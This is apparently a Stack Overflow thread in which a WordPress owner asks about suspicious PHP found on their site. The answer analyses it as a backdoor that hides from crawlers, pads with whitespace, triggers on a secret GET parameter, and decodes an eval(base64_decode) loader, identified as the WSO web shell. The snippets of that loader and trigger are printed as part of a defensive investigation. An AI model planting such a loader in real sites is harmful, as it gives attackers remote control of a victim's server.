5

I found the following code in my Wordpress application, but I am not even sure in what is decoded. The first part of the file looks like this:

<?php

// Preventing a directory listing
if(!empty($_SERVER["HTTP_USER_AGENT"])) {
    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");

    if(preg_match("/" . implode("|", $userAgents) . "/i", $_SERVER["HTTP_USER_AGENT"])) {
        header("HTTP/1.0 404 Not Found");exit;
    }
} 

And the following part of the file looks like this (I posted it on gist because it would not let me put it here because it is too long): https://gist.github.com/anonymous/3ea604a58af688b11ef5

Could you guys help me to understand what this is doing?

4
  • I can't see any content on that github link. Also, that line seems to be commented so it will decode into nothing.
    – kiBytes
    Commented Mar 5, 2014 at 18:24
  • Please, scroll that line in gist. I am not sure why it just doesnt put it vertically... Also, what do you mean by commented? Commented Mar 5, 2014 at 18:28
  • @HommerSmith The code you pasted in here just seems to do what the comment above it says. What does the sample have to do with what you linked to on github?
    – Gray
    Commented Mar 5, 2014 at 18:32
  • Let me clarify. My text.php file looks exactly like this: gist.github.com/anonymous/85d3682bf4412e6180cb , If you scroll to the right on that file you will see the encoded thing. I am not sure why is it getting put on the right. Commented Mar 5, 2014 at 18:35

1 Answer 1

8

This definitely is something that the author did not want to looked at. Even the gist at Github looks like just the nine lines of code you’ve posted here. Just a script to avoid directory listing …

But only on first sight. Because if you look closer, the last line is enormous 91959 characters long with a lot of whitespace after the initial }.

The whole additional code is wrapped in an if statement:

if (isset($_GET[str_rot13(pack("H*", "667265707267"))]))

This checks whether $_GET['secret'] is set. The code within the if block is basically a variable holding the actual payload ($_X):

$_F=__FILE__;
$_X="…";

And a decoder:

eval(base64_decode("JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPXN0cl9yZXBsYWNlKCdfX0ZJTEVfXycsIiciLiRfRi4iJyIsJF9YKTtldmFsKCRfUik7JF9SPTA7JF9YPTA7"));

Using echo instead of eval results in:

$_X=base64_decode($_X);
$_X=strtr($_X,'123456aouie','aouie123456');
$_R=str_replace('__FILE__',"'".$_F."'",$_X);
eval($_R);
$_R=0;
$_X=0;

After another decoding step, the actual payload is decoded and reveals a WSO Web Shell version 2.5 with 2ef1d6430bce32d929d13a00fe281be8 as the MD5 hash of the password.

1
  • 1
    +1, I just went through the same process. I don't have anything more to add except that I confirm what Gumbo said. You've been hacked and the attacker planted a remote management console on the site. Commented Mar 5, 2014 at 20:20

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .